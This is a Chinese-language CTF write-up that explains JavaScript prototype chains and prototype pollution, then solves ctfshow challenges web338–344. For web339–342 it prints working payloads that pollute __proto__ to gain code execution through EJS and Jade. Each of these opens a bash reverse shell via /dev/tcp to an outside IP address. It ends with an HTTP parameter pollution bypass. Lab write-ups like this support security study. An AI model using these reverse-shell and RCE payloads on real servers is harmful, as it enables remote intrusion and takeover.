js特点
定义一个类,要以定义构造函数的方式来定义:
function Foo() { this.bar = 1 } new Foo()
Foo
函数的内容,就是Foo
类的构造函数,this.bar
就是Foo
类的一个属性可以将类的方法定义在构造函数内部:
function Foo() { this.bar = 1 this.show = function() { console.log(this.bar) } } (new Foo()).show()
这样写每当新建一个
Foo
对象时,this.show = function…
就会执行一次,这个show方法实际上是绑定在对象上的,而不是绑定在类中在创建类的时候只创建一次show方法,需要使用原型(prototype):
function Foo() { this.bar = 1 } Foo.prototype.show = function show() { console.log(this.bar) } let foo = new Foo() foo.show()
可以认为原型
prototype
是类Foo
的一个属性,而所有用Foo
类实例化的对象,都将拥有这个属性中的所有内容,包括变量和方法可以通过
Foo.prototype
来访问Foo
类的原型,但Foo
实例化出来的对象,不能通过prototype
访问原型Foo类实例化出来的foo对象,可以通过
foo.__proto__
属性来访问Foo类的原型:foo.__proto__ == Foo.prototype
prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法
一个对象(foo)的
__proto__
属性,指向这个对象所在的类(Foo)的prototype属性
JavaScript原型链继承
所有类对象在实例化的时候将会拥有
prototype
中的属性和方法,这个特性被用来实现JavaScript
中的继承机制function Father() { this.first_name = 'Donald' this.last_name = 'Trump' } function Son() { this.first_name = 'Melania' } Son.prototype = new Father() let son = new Son() console.log(`Name: ${son.first_name} ${son.last_name}`) //输出:Name: Melania Trum
对象son,在调用son.last_name的时候,实际上JavaScript引擎会进行如下操作:
- 在对象son中寻找last_name
- 如果找不到,则在
son.__proto__
中寻找last_name - 如果仍然找不到,则继续在
son.__proto__.__proto__
中寻找last_name - 依次寻找,直到找到null结束,Object.prototype的
__proto__
就是null
JavaScript的查找机制,被运用在面向对象的继承中,被称作prototype继承链,每个构造函数(constructor)都有一个原型对象(prototype)
对象的
__proto__
属性,指向类的原型对象prototype,JavaScript使用prototype链实现继承机制
原型链污染
举例:
// foo是一个简单的JavaScript对象 let foo = {bar: 1} // foo.bar 此时为1 console.log(foo.bar) // 修改foo的原型(即Object) foo.__proto__.bar = 2 // 由于查找顺序的原因,foo.bar仍然是1 console.log(foo.bar) // 此时再用Object创建一个空的zoo对象 let zoo = {} // 查看zoo.bar console.log(zoo.bar) //虽然zoo是一个空对象{},但zoo.bar的结果是2
因为前面修改了foo的原型
foo.__proto__.bar = 2
,而foo是一个Object类的实例,所以实际上是修改了Object这个类,给这个类增加了一个属性bar,值为2又用Object类创建了一个zoo对象
let zoo = {}
,zoo对象自然也有一个bar属性在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象,这种攻击方式就是原型链污染
利用
存在能够控制数组(对象)的键名的操作:对象merge、对象clone(其实内核就是将待操作的对象merge到一个空对象中)
举例:
function merge(target, source) { for (let key in source) { if (key in source && key in target) { merge(target[key], source[key]) } else { target[key] = source[key] } } }
让
__proto__
被认为是一个键名:let o1 = {} let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}') merge(o1, o2) console.log(o1.a, o1.b) o3 = {} console.log(o3.b)
let o2 = {a: 1, "__proto__": {b: 2}}
失败,因为用JavaScript创建o2的过程(let o2 = {a: 1, “__proto__”: {b: 2}}
)中,__proto__
已经代表o2的原型了,此时遍历o2的所有键名,拿到的是[a, b],__proto__
并不是一个key,自然也不会修改Object的原型let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
成功,因为JSON解析的情况下,__proto__
会被认为是一个真正的键名,而不代表原型,所以在遍历o2的时候会存在这个键merge操作是最常见可能控制键名的操作,也最能被原型链攻击,很多常见的库都存在这个问题
参考:https://blog.csdn.net/qq_41107295/article/details/95789944
web338
login.js:
router.post('/', require('body-parser').json(),function(req, res, next) { res.type('html'); var flag='flag_here'; var secert = {}; var sess = req.session; let user = {}; utils.copy(user,req.body); if(secert.ctfshow==='36dboy'){ res.end(flag); }else{ return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)}); } });
利用
utils.copy
方法:function copy(object1, object2){ for (let key in object2) { if (key in object2 && key in object1) { copy(object1[key], object2[key]) } else { object1[key] = object2[key] } } }
payload:
{"username":"1","password":"1","__proto__":{"ctfshow":"36dboy"}}
web339
改成了
if(secert.ctfshow===flag){ res.end(flag); }
相等不了,但是多了一个
api.js
:router.post('/', require('body-parser').json(),function(req, res, next) { res.type('html'); res.render('api', { query: Function(query)(query)}); });
可以把
query
覆盖掉然后反弹shell,payload:{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/43.143.175.158/6666 0>&1\"')"}}
访问一下
/api
web340
login.js:
router.post('/', require('body-parser').json(),function(req, res, next) { res.type('html'); var flag='flag_here'; var user = new function(){ this.userinfo = new function(){ this.isVIP = false; this.isAdmin = false; this.isAuthor = false; }; } utils.copy(user.userinfo,req.body); if(user.userinfo.isAdmin){ res.end(flag); }else{ return res.json({ret_code: 2, ret_msg: '登录失败'}); } });
两层,反弹shell,payload:
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/43.143.175.158/6666 0>&1\"')"}}}
web341
利用ejs rce,原理是:
opts
对象outputFunctionName
成员在 express 配置的时候并没有给他赋值,默认也是未定义,即undefined
但是在有原型链污染的前提之下,可以控制基类的成员,给
Object
类创建一个成员outputFunctionName
,这样可以进入 if 语句,并将我们控制的成员outputFunctionName
赋值为一串恶意代码,从而造成代码注入,在后面模版渲染的时候,注入的代码被执行payload:
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/43.143.175.158/6666 0>&1\"');var __tmp2"}}}
web342
jade原型链污染
payload:
{"__proto__":{"__proto__": {"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/43.143.175.158/6666 0>&1\"')"}}}
改
Content-Type: application/json
web343
- 跟342一样
web344
给了源码:
router.get('/', function(req, res, next) { res.type('html'); var flag = 'flag_here'; if(req.url.match(/8c|2c|\,/ig)){ res.end('where is flag :)'); } var query = JSON.parse(req.query.query); if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){ res.end(flag); }else{ res.end('where is flag. :)'); } }); {"name":"admin","password":"ctfshow","isVIP",true}
HTTP参数污染
HTTP协议中允许同名参数出现多次,例如
?a=1&a=2
,有的服务端取的1,有的取的2,不同服务端对同名参数处理都是不一样的nodejs会把同名参数以数组的形式存储,并且
JSON.parse
可以正常解析,payload:?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}
不编码就行